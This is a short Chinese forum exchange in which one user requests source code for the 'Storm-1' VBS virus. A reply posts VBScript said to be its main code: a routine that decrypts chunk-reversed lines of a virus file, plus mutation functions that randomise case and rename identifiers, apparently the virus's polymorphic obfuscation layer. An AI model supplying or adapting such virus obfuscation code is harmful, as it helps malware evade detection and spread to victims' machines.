求暴风一号源代码，别的vbs病du也行，最好有注释，多多益善，供学习用

Set F374 = CreateObject("Scripting.Filesystemobject")
Set F8b6 = F374.Opentextfile("D:\VM_Shared\706545925.vbs", 1)
Do Until F8b6.Atendofstream
Ccd4 = Trim(F8b6.Readline)
If Left(Ccd4, 1) = "'" Then
   C169 = A97b(Mid(Ccd4, 2, Len(Ccd4) - 2), Right(Ccd4, 1))
   Randomize
   Afb1 = Int(8 * Rnd + 2)
   A4ae = "'" & A97b(C169, Afb1) & Afb1
Else
   A4ae = Ccd4
A4ae = Af7c(A4ae)
   A4ae = Dd72(A4ae)
End If
Fa6d = Fa6d & C169 & vbCrLf
B056 = B056 & A4ae & vbCrLf
C169 = ""
A4ae = ""
Loop
Set F8b6 = F374.Opentextfile("D:\VM_Shared\706545925_Decrypted.vbs", 2)
F8b6.Write Fa6d
F8b6.Close
Set F374 = Nothing
'Execute Fa6d
Function A97b(Ebe2, Afb1)
For Eb91 = 1 To Len(Ebe2) Step Afb1
    A97b = A97b + StrReverse(Mid(Ebe2, Eb91, Afb1))
Next
End Function
Function Dd72(Ebe2)
Randomize
For Eb91 = 1 To Len(Ebe2)
   B2e4 = Mid(UCase(Ebe2), Eb91, 1)
If Int(Rnd * 2) Then
   B2e4 = LCase(B2e4)
End If
Dd72 = Dd72 & B2e4
Next
End Function
Function Af7c(Ebe2)
Randomize
For Eb91 = 0 To 13
   Ebe2 = Replace(UCase(Ebe2), UCase(Hex(&HF374 + Eb91)), UCase(Hex(Int(Rnd * 24000 + 40960) + Eb91)))
Next
Af7c = Ebe2
End Function

这是暴风的主要代码，代码写得很混乱起到加密的效果，不要拿来搞破坏就行了

你拿这个源代码有什么用？